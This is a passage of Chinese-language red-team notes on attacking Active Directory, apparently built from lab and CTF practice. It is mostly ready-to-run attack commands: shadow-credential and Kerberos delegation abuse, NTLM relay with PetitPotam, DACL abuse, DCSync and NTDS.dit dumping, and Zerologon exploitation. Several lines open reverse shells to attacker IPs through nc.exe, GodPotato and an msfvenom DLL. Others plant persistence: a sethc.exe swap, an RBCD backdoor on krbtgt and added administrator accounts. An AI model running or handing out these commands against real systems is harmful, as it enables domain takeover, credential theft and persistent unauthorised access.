klist #查看当即机器内存缓存的TGT

mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit" #使用mimikatz执行 DCSync 来导出域用户哈希

#使用Rubeus工具,申请CIFS服务票据,访问目标服务
Rubeus.exe s4u /self /impersonateuser:REDTEAM\Administrator /altservice:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:[value] /nowrap
dir \\DC2016.redteam.lab\c$

#当mark密码被修改时,我们将不在拥有mark的控制权,但是msDS-KeyCredentialLink属性已经被修改,可以通过以下方式恢复权限
Rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /ptt /nowrap

#也可以将申请到的Base64加密的TGT转换为kirbi文件保存使用
powerpick [IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("BASE64字符串"))
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit"

#也可以将申请到的Base64加密的TGT转换为.ccache文件,便于结合impacket套件使用
rubeustoccache.py BASE64字符串 test.kirbi test.ccache
KRB5CCNAME=test.ccache
secretsdump.py -k redteam.lab/DC2016\$@DC2016.redteam.lab -no-pass -just-dc



# 列出域控的msDS-KeyCredentialLink属性
Whisker.exe list /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab

# 删除属性msDS-KeyCredentialLink属性
Whisker.exe remove /target:DC2016$ /deviceid:33d43eb3-3cb2-4e63-ba92-7de00af46505

攻击思路2:域外机器修改影子凭证

当我们只获得到一个高权限域用户凭证(用户&密码),但是没有shell,可以使用pyWhisker工具可实现在域网络外的主机上进行攻击操作

# 对域控制器账户执行攻击,生成证书
python3 pywhisker.py -d "redteam.lab" -u "mark" -p "123.com" --target "DC2016$" --action "add" --filename dc2016

会获得一个.pfx证书

使用PKINITtools通过KDC身份验证,申请到票据

python3 gettgtpkinit.py -cert-pfx dc2016.pfx -pfx-pass JdhrfLCa3OMQJwfK8YhS redteam.lab/DC2016$ DC2016.ccache

导出哈希

KRB5CCNAME=DC2016.ccache 
secretsdump.py -k redteam.lab/DC2016$@DC2016.redteam.lab -no-pass -just-dc 
#Hash登录
wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/[email protected] -dc-ip 10.10.2.20

或者使用TGT利用S4U2Self申请CIFS的ST

gets4uticket.py kerberos+ccache://pentest.com\\dc01\$:[email protected] cifs/[email protected] [email protected] Administrator.ccache -v

然后导入.ccache

KRB5CCNAME=/root/PKINITtools/Administrator.ccache
smbexec.py -k pentest.com/[email protected] -no-pass

攻击思路3:影子凭证强制认证

Shadow Credentials可以联动NTLM Relay攻击,针对目标主机,强制修改其 msDS-KeyCredentialLink 属性,实现对目标机器持久和隐蔽的访问

在最新版本的ntlmrelayx.py工具中,实现了影子凭证技术,通过添加--shadow-credentials --shadow-target两个参数来启用。该攻击可以与PetitPotam、printerbug或ShadowCoerce等强制认证结合使用

#启动监听
ntlmrelayx.py -t ldap://10.10.2.20 --remove-mic --shadow-credentials --shadow-target SERVER2016$ 

#执行NTLM Relay攻击,使用PetitPotam.py进行强制认证
PetitPotam.py -u mark -p 123.com -d redteam.lab 10.10.2.77 SERVER2016.redteam.lab

#申请TGT票据
gettgtpkinit.py -cert-pfx SERVER2016.pfx -pfx-pass qOBBCYvuLnELkIS7sBAt redteam.lab/SERVER2016$ SERVER2016.ccache

#申请CIFS ST,由于不是域控,不能进行DCSync攻击
gets4uticket.py kerberos+ccache://redteam.lab\\SERVER2016\$:[email protected] cifs/[email protected] [email protected] Administrator.ccache -v
#但可以使用getnthash.py工具得到机器账户的SERVER2016$NTLM Hash
KRB5CCNAME=SERVER2016.ccache 
getnthash.py -key 8281288a206035ebaab9e37066f06a5beeeaa699c4616e156894a3134ea22735  redteam.lab/SERVER2016$
或者使用票据远程访问cifs
KRB5CCNAME=Administrator.ccache 
wmiexec.py -k redteam.lab/[email protected] -no-pass -dc-ip 10.10.2.25

Keberos委派

委派是域中的一种属性设置,是一个安全敏感的操作。是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。

需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户

需要SeEnableDelegation特权才能配置约束和非约束委派。

枚举委派

findDelegation.py "<domain>"/"<user>":"<password>"
#Bloodhound

#非约束委派
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (c:User {unconstraineddelegation:true}) RETURN c
#约束委派
ATCH p=((c:Base)-[:AllowedToDelegate]->(t:Computer)) RETURN p
MATCH p=shortestPath((u:User)-[*1..]->(c:Computer 
{name: "<MYTARGET.FQDN>"})) RETURN p

非约束委派

非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。

image-20250726094954178

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION

还有个Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800

#枚举
#使用PowerShellEmpire版本的Powerview
# 导入 PowerView 脚本
import-module .\powerview.ps1

# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain zjun.com | select name

# 查询域内非约束性委派的服务账号
Get-NetUser -Unconstrained -Domain zjun.com | select name
#使用Adfind
# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询非约束性委派的服务账号
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#使用ldapsearch
ldapsearch -LLL -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd"   -b dc=zjun,dc=com  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

ldapsearch -LLL -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd"   -b dc=zjun,dc=com  "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派攻击方式主要有两种

1.诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务

2.结合打印机漏洞让域管用户强制回连以缓存 TGT

攻击一:域管访问委派主机

模拟域管访问委派主机

net use \\Win-2008.zjun.com /user:zjun\administrator P@ssw0rd2019

在内存中找到委派用户的TGT

#mimikatz
privilege::debug
sekurlsa::tickets
sekurlsa::tickets /export

#Rebeus
Rubeus.exe dump /service:krbtgt /nowrap
Rubeus.exe dump /luid:0xdeadbeef /nowrap
Rubeus.exe monitor /interval:5

然后ptt就有了域管的权限

kerberos::ptt [0;7af73][email protected]

攻击二:非约束委派+Spooler打印机服务漏洞

利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 P-DC 强制访问已控的具有本地管理员权限的非约束性委派机器 Win-2008 ,从而拿到域管理员的 TGT,进而接管域控。

首先在非约束委派机器上使用Rubeus监听域控机器

Rubeus.exe monitor /interval:1 /filteruser:P-DC$

然后利用Spooler强制域控打印机回连,需要在域用户的进程上执行,所以随便一个普通域用户即可

SpoolSample.exe P-DC Win-2008

之后Rubeus即可获得来自域管的TGT base64形式

然后导入TGT

Rubeus.exe ptt /ticket:Base64EncodedTicket

mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"  #Dcsync获取域内所有用户的NTLM

sekurlsa::tickets /export
kerberos::ptt [0;7af73][email protected] #ptt

约束委派

img

约束委派与非约束委派的区别在于,用户不会直接把TGT给委派机器,所发送的认证信息中还包含了允许委派访问的服务。

同时为了在 Kerberos 协议层面对约束性委派的支持, 微软扩展了两个子协议

  • S4U2Self Service for User to Self
  • S4U2Proxy Service for User to Proxy

计算机用户(JACKSON-PC$) 被配置了约束委派,那么JACKSON-PC$可以接受任何用户的委派的去请求特定的服务。配置了约束委派用户的userAccountControl 属性有TRUSTED_TO_AUTH_FOR_DELEGATIONFLAG位(对应十进制16777216)以及msDS-AllowedToDelegateTo属性存储对哪个SPN进行委派。

正常Kerberos和S4U2Self的区别

#正常的Kerberos
用户向KDC的AS申请TGT,然后拿着TGT向KDC申请ST,然后用户拿着ST向服务器请求服务

#S4U2Self
服务器自己向KDC请求TGT,然后服务器代表用户向KDC申请自己服务的ST,然后就可以代表用户访问自己的服务

S4U2Self

1.用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。
2.通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。
3.KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。
4.service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

S4U2proxy

5.用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
6.service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
7.如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
8.service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
9.service2 响应步骤 8 的请求。
10.service1 响应用户对步骤 5 中的请求

对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务。配置了约束性委派账户的 msDS- AllowedToDelegateTo 属性会指定对哪个 SPN 进行委派。约束性委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。

查询约束委派的计算机或服务账户

# 导入 PowerView 脚本
import-module .\PowerView.ps1

# 查询域内约束性委派的计算机
Get-DomainComputer -TrustedToAuth -Domain zjun.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto | fl

# 查询域内非约束性委派的服务账号
Get-DomainUser -TrustedToAuth -Domain zjun.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto | fl

#在域外
findDelegation.py domain.local/username:password -target-domain domain.local

或者使用Adfind或ldapsearch

# 查询域内约束性委派的计算机
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn

# 查询非束性委派的服务账号
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

#ldapsearch
# 查询域内约束性委派的计算机
ldapsearch -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd" -b dc=zjun,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

# 查询非束性委派的服务账号
ldapsearch -x -H ldap://172.16.86.136:389 -D "[email protected]" -w "P@ssw0rd" -b dc=zjun,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

约束委派的攻击

服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash ,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT

# kekeo
tgt::ask /user:test /domain:zjun.com /password:P@ssw0rd

# 得到服务用户 test 的 TGT: [email protected][email protected]
# kekeo
tgt::ask /user:test /domain:zjun.com /NTLM:e19ccf75ee54e06b06a5907af13cef42 #或者使用NTLM

使用这张 TGT 通过伪造 S4U 请求以 administrator 用户身份请求访问 P-DC CIFS 的 ST

# kekeo
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/P-DC.zjun.com

# S4U2self 的 ST1: [email protected]@[email protected]
# S4U2proxy 的 ST2: [email protected]@[email protected]

用 mimikatz 将 ST2 导入当前会话,即可成功访问域控 P-DC

# mimikatz
kerberos::ptt [email protected]@[email protected]

如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# kekeo
tgs::s4u /tgt:[0;8f613][email protected] /user:[email protected] /service:cifs/P-DC.zjun.com

或者直接rubeus

Rubeus.exe tgtdeleg #拿到服务账户的TGT
Rubeus.exe s4u /ticket:BASE64 /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt #请求域控的CIFS

在linux上操作

getST.py -spn 'CIFS/winterfell' -impersonate Administrator -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/jon.snow:iknownothing'
export KRB5CCNAME=./Administrator.ccache
secretsdump.py -k -no-pass north.sevenkingdoms.local/administrator@winterfell -just-dc-ntlm
#或者直接登录域控
wmiexec.py -k -no-pass north.sevenkingdoms.local/administrator@winterfell

基于资源的约束委派(RBCD)

如果约束性委派,必须拥有 SeEnableDelegationPrivilege 权限,该特权是敏感的,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012 中引入了基于资源的约束委派。基于资源的约束性委派不需要域管理员权限去设置,而是把设置属性的权限赋予给了机器自身。

基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。

配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。

基于资源的约束委派与传统约束委派非常相似但配置相反。服务1到服务2的约束委派在服务1账户的msDS-AllowedToDelegateTo属性中配置,定义从服务1到服务2的”传出”信任。而基于资源的约束委派是在服务2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置,定义从服务1到服务2的”传入”信任。所以只要拥有服务2的权限就可以配置服务2的基于资源的约束委派。

配置 RBCD 的关键在于 msDS-AllowedToActOnBehalfOfOtherIdentity 属性, 通常以下用户能够修改此属性

  • 将主机加入域的用户 (机器账户中会有一个 msDS-CreatorSID 属性, 使用非域管账户加入域时才会显示)
  • Account Operators (能修改任意域内非域控机器的委派属性)
  • NT AUTHORITY\SELF (该主机的机器账户)

image-20250726202824014

常规利用

一般的情况是我们拿到一个域内的普通用户, 并且发现某台机器是通过该用户加入域的, 那么就可以通过 RBCD 在该机器上实现本地提权

思路:

  1. 利用可控域用户创建一个机器账户 (每个域用户默认可以创建 10 个机器账户, 即 msDS-MachineAccountQuota (MAQ) 属性)
  2. 修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性, 使其指向新创建机器账户的 SID
  3. 利用该机器账户的凭证通过 S4U 协议申请委派至目标主机的 ST 票据, 实现本地提权/横向移动
#添加一个机器账户
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-ip 192.168.56.10 sevenkingdoms.local/stannis.baratheon:Drag0nst0ne

#添加委派权限
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 192.168.56.10 -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne

#请求server2的ST
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 192.168.56.10 'sevenkingdoms.local/rbcd$:rbcdpass'

export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass kingslanding.sevenkingdoms.local

在windows上操作

#导入powermad,powerview
Set-ExecutionPolicy Bypass -Scope Process
. .\Powermad.ps1
. .\powerview.ps1
#添加机器账户
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
#获取该机器账户的SID
Get-NetComputer test1 -Properties objectsid
#配置server2(FILESERVER)的msds-allowedtoactonbehalfofotheridentity
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1117)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FILESERVER | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#获取SERVER2的ST
getST.py -dc-ip 172.22.60.8 xiaorang.lab/test1\$:123456 -spn cifs/Fileserver.xiaorang.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
psexec.py [email protected] -k -no-pass -dc-ip 172.22.60.8

服务账户提权

原理: IIS, MSSQL, Network Service 等服务账户出网时使用的是本机的机器账户, 访问域内资源时能够以机器账户的身份修改自身的委派属性, 从而提升至本地管理员权限

利用 SharpAllowedToAct

https://github.com/pkb1s/SharpAllowedToAct

先利用当前用户的身份创建机器账户并配置委派属性

C:\inetpub\wwwroot\SharpAllowedToAct.exe -m TEST -p 123456 -t WIN2008-WEB

RBCD后门

利用 RBCD, 设置 krbtgt 服务的委派属性为指定后门账户, 从而打造变种黄金票据

addcomputer.py hack-my.com/Alice:'Alice123!' -computer-name TEST\$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.30.10

在域控上执行如下命令, 配置 krbtgt 的委派属性

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$

最后申请ST

getST.py hack-my.com/test\$:123456 -spn krbtgt -impersonate administrator -dc-ip 192.168.30.10

export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass [email protected] -dc-ip 192.168.30.10

可以连接到域内的任何一台机器

NTLM Relay to LDAP

NTLM Relay 经常会结合 RBCD 一起利用, 后者作为中继至 LDAP 的一种利用手段, 当然也还有其它的利用方式, 比如配合 Exchange 机器账户写 DCSync 权限, 利用 Shadow Credentials 等等

下面简要介绍利用 SMB, HTTP, WebDAV 协议进行 NTLM Relay to LDAP 并配置 RBCD 实现本地提权/横向移动

1.SMB

默认情况下, LDAP 的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB 协议发起 LDAP 请求时, 就会要求 LDAP 服务器对 NTLM 认证请求强制签名, 所以一般来说无法通过 SMB 协议进行 NTLM Relay to LDAP

但是 2019 年爆出了 CVE-2019-1040 漏洞, 它能够绕过 NTLM MIC 的防护机制, 修改 NTLM 请求中的某些标志位, 使得客户端对于 SMB 发起的 LDAP 请求不要求签名, 从而实现 NTLM Relay

结合强制认证 (例如 SpoolSample, PetitPotam) 配合 RBCD 可以实现横向移动

首先添加机器账户

addcomputer.py hack-my.com/Alice:'Alice123!' -computer-name TEST\$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.30.10

启动 ntlmrelayx, 注意设置 --remove-mic 选项

ntlmrelayx.py -t ldap://192.168.30.10 --remove-mic --delegate-access --escalate-user 'TEST$'

利用 PetitPotam 发起对恶意机器的 SMB 请求

python3 PetitPotam.py -d hack-my.com -u Alice -p 'Alice123!' 192.168.30.40 192.168.30.20

最后申请 ST

getST.py hack-my.com/test\$:123456 -spn cifs/WIN7-CLIENT.hack-my.com -impersonate administrator -dc-ip 192.168.30.10

export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass [email protected] -dc-ip 192.168.30.10

DACL滥用

GenericALL

TO User

修改密码

如果某个用户对另一个用户有genericall权限,那么可以修改他的密码,比如说

用户aaa@hackme对用户b@hackme具有 GenericAll 权限

net user b@hackme 123456qwE /domain
bloodyAD --host "dc01.infiltrator.htb" -d "hackme.htb" --kerberos -u "aaa" -p 'Password123' set password "bbb" 'Password123'

#或者启用一个受限的用户
bloodyAD --host "puppy.htb" -d "puppy.htb" -u "ant.edwards" -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE

Targeted Kerberoasting

给用户分配SPN将其设置成Service,然后打Kerberoasting攻击

powerview2>  Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
rubeus kerberoast攻击
.\Rubeus.exe kerberoast /user:<username> /nowrap

Targeted AS-REP Roasting

禁用用户的预身份验证,使其帐户容易受到 AS-REP Roasting攻击

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
GetNPUsers.py -usersfile user.txt -no-pass -dc-ip 192.168.10.5 DORAEMON.THL/   

TO Group

将自己加入这个组

net group sales rto /add /doamin

TO Computer

读取LAPS密码

执行基于资源的约束委派攻击

有GenericALL权限就能修改机器用户的msDS-AllowedToActOnBehalfOfOtherIdentity属性进行RBCD攻击

GeneriaWrite

TO User

Targeted Kerberoasting

同GenericALL

修改密码

bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd

TO Group

将用户添加到组

同genericall

强制修改密码

net rpc password "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST"

net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"

pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"
rpcclient -U $DOMAIN/$ControlledUser $DomainController

rpcclient $> setuserinfo2 $TargetUser 23 $NewPassword
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"

读取LAPS 密码

pyLAPS.py --action get -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --dc-ip "$DC_IP"
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --module laps
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

读取GMSA密码

gMSADumper.py -u 'user' -p 'password' -d 'domain.local'
ntlmrelayx.py -t ldaps://10.0.0.5 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

特权组和特权

Account Operators

Account Operators是AD中的内置组,允许成员管理用户和组帐户。成员可以创建、修改和删除帐户,但管理权限有限。

添加用户

net user NewUser password /domain /add

将用户添加到组

net group "EXCHANGE WINDOWS PERMISSIONS" {NewUser} /add /domain
bloodyAD -d domain.local --host x.x.x.x -u username -p username set password target_user new_password #修改密码

bloodAD -d domain.local --host x.x.x.x -u username -p username add groupMember 'Remote Management Users' user_to_add  #添加到组

Backup Operators

Backup Operators是 Active Directory 环境中的内置组,它授予成员备份和还原文件的能力,而不管文件权限如何。此组的成员可以绕过 NTFS 权限,在系统上执行备份和还原作。

smbserver.py share . -smb2support
impacket-reg "soupedecode.local"/"zximena448":"internet"@"192.168.56.126" backup -o '\\192.168.56.104\share'
secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local 

Server Operators

Active Directory 中的一个内置组,它向成员授予域控制器的特定管理功能。成员可以管理服务,包括启动和停止大多数服务、执行备份和恢复作、关闭和重新启动服务器以及处理磁盘管理任务。

#列出所有服务
services

#使用有效负载配置服务。停止和启动服务
sc.exe config VGAuthService binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.4 443"
sc.exe stop VGAuthService
sc.exe start VGAuthService

sc.exe config VGAuthService binPath= "cmd /c net localgroup Administrators server_adm /add"

SeLoadDriverPrivilege

字面意思,安装和卸载驱动的权限。

能加载驱动,那么在系统内核级别执行代码也是可能的。

无论它是否显示 priv 已禁用,我们都可以启用它并通过上传恶意驱动程序并使用该驱动程序来利用它。

默认在域管和Print Operator组上都有这个权限

驱动加载器

https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp

下载下来把头文件的#include "stdafx.h"去掉然后编译就好了

然后需要一个驱动文件

https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys

还有执行脚本的exp

https://github.com/tandasat/ExploitCapcom/tree/master/ExploitCapcom

不过这个工具默认执行的cmd也就是弹出一个system权限的cmd,可以改一下修改成反弹shell的exe

image

image

然后编译生成exp.exe

然后把三个文件和一个反弹shell的exe传到靶机

加载驱动

./LoadDriver.exe System/CurrentControlSet\abcdefg c:\temp\Capcom.sys

执行exp

./exp.exe

SeBackupPrivilege

卷影拷贝

用来实现备份操作,对当前系统任意文件具有读权限

reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

kail创建raj.dsh

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh 

靶机执行

upload raj.dsh
diskshadow /s raj.dsh
RoboCopy /b z:\windows\ntds . ntds.dit
reg save hklm\system system
download ntds.dit
download system
secretsdump.py  -ntds ntds.dit -system system local 

SeImpersonatePrivilege

土豆提权

C:/Users/MSSQLSERVER/Desktop/GodPotato-NET4.exe  -cmd "C:/Users/MSSQLSERVER/Desktop/nc64.exe  172.22.2.7 4567 -e cmd"
C:/Users/MSSQLSERVER/Desktop/GodPotato-NET4.exe  -cmd "net user tao0845 123456qwe. /add"
C:/Users/MSSQLSERVER/Desktop/GodPotato-NET4.exe  -cmd "net localgroup administrators tao0845 /add"

SeAssignPrimaryPrivilege

可以土豆提权

SeTcbPrivilege

等同于获得了系统的最高权限

  1. 调用LsaLogonUser获得Token
  2. 将该Token添加至Local System account组
  3. 该Token具有System权限

可供参考的测试代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeTcbPrivilege.cpp

代码实现了开启当前进程的SeTcbPrivilege权限,登录用户test1,将其添加至Local System account组,获得System权限,创建注册表项HKEY_LOCAL_MACHINE\SOFTWARE\testtcb

SeRestorePrivilege

用来实现恢复操作,对当前系统任意文件具有写权限

利用思路1

  1. 获得SeRestorePrivilege权限,修改注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  2. 劫持exe文件的启动
  3. 实现提权或是作为后门

利用思路2

  1. 获得SeRestorePrivilege权限,向任意路径写入dll文件
  2. 实现dll劫持
  3. 实现提权或是作为后门

直接修改粘滞键为cmd

*Evil-WinRM* PS C:\windows\system32> ren sethc.exe sethc.exe.bak
*Evil-WinRM* PS C:\windows\system32> ren cmd.exe sethc.exe

shift 5次后出现管理员的cmd

DNSAdmins

特权组,可以以system权限执行任意dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.3 LPORT=4567 -f dll -o exp.dll 

kali开个smb共享

impacket-smbserver -smb2support  "share" . 
*Evil-WinRM* PS C:\Users\Suneo\Desktop> dnscmd  /config /serverlevelplugindll \\192.168.10.3\share\exp.dll
#重启DNS服务
 sc.exe \\DORAEMON.THL stop dns
 sc.exe \\DORAEMON.THL start dns

DCSync

在不同的域控制器之间,每15分钟就会有一次数据同步。DCSync就是利用这个原理,通过Directory Replication Service(DRS)

服务的GetNCChanges接口向域控发起数据同步请求。

只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash

复制目录更改(DS-Replication-Get-Changes)

全部复制目录更改 (DS-Replication-Get-Changes-All )

在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
mimikatz.exe
privilege::debug
lsadump::dcsync /dc:dc01.contoso.org /domain:contoso.org /all /csv
impacket-secretsdump -outputfile 'dcsync.txt' 'contoso.org/username:userpassword@dc-ip-address'

impacket-secretsdump -outputfile 'dcsync.txt' -hashes 'lm-hash':'nt-hash' 'contoso.org/username@dc-ip-address'


python impacket-getTGT -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'contoso.org/username'
export KRB5CCNAME='username.ccache'
impacket-secretsdump -k -outputfile 'something' 'contoso.org/username@dc-fqdn'

Zerologon

ZeroLogon (CVE-2020-1472) 影响域内登录认证协议Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过NetLogon协议与AD域控建立安全通道时,强行登录尝试,对全零的纯文本应用AES-CFB8加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员HASH,获取域管权限。

#验证是否存在漏洞
lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$

#将机器账户密码置零
lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$ /exploit
或
python3 cve-2020-1472-exploit.py DC01 192.168.43.100

#dcsync获取域管哈希
mimikatz.exe "lsadump::dcsync /domain:main.test.com /dc:DC01 /user:administrator /authuser:DC01$ /authdomain:main /authpassword:"" /authntlm" exit
或
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/DC01$@192.168.43.100
#31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH

Runas

以指定用户执行命令

RunasCs.exe administrator s67u84zKq8IXw "cmd /c c:\tmp\nc.exe 10.10.14.154 2222 -e cmd.exe"
$user = "DOMAIN\username"
$plainPassword = "Password123" 
$securePassword = ConvertTo-SecureString $plainPassword -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $securePassword)
 
Start-Process -FilePath "C:\Path\To\Program.exe" -Credential $cred
.\PsExec64.exe -accepteula -u DOMAIN\USER -p Password123 "C:\windows\tasks\shell.exe"

ADCS

ESC1

利用的前置条件

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
